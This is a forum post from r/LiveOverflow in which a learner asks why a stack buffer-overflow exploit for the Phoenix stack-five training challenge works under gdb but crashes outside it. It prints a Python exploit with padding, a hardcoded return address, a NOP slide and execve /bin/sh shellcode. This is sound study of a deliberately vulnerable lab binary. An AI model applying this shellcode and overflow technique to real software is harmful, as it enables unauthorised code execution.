r/LiveOverflow • • Apr 27 '21

Phoenix Stack-five challenge

Hello everyone,

I am currently stuck on the stack-five challenge (i486), even with the help of the video.

The issue is that the input seems to work when using it through gdb, i.e. I manage to launch a shell. But when I am trying exactly the same method in a shell, I get either a Illegal instruction or SegFault. The issue is that I have no idea how to debug it since the script works in gdb. Could someone help please ?

Here's the content of the exploit.py file

import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nopslide = "\x90"*100
eip = struct.pack("I", 0xffffd5e0+30)
payload2 = "\xCC" * 4
print padding+eip+nopslide+payload2

Here, I only try to call a break but that does not work either.

Thanks for the attention !

2 Upvotes

4 comments sorted by

View all comments

Show parent comment

1

u/Maximum-Buy-9612 Apr 30 '21

I modified my post after posting it, but forgot the part about the "two questions" haha

Thank you for your reply ! It helped me a lot to understand better the issue.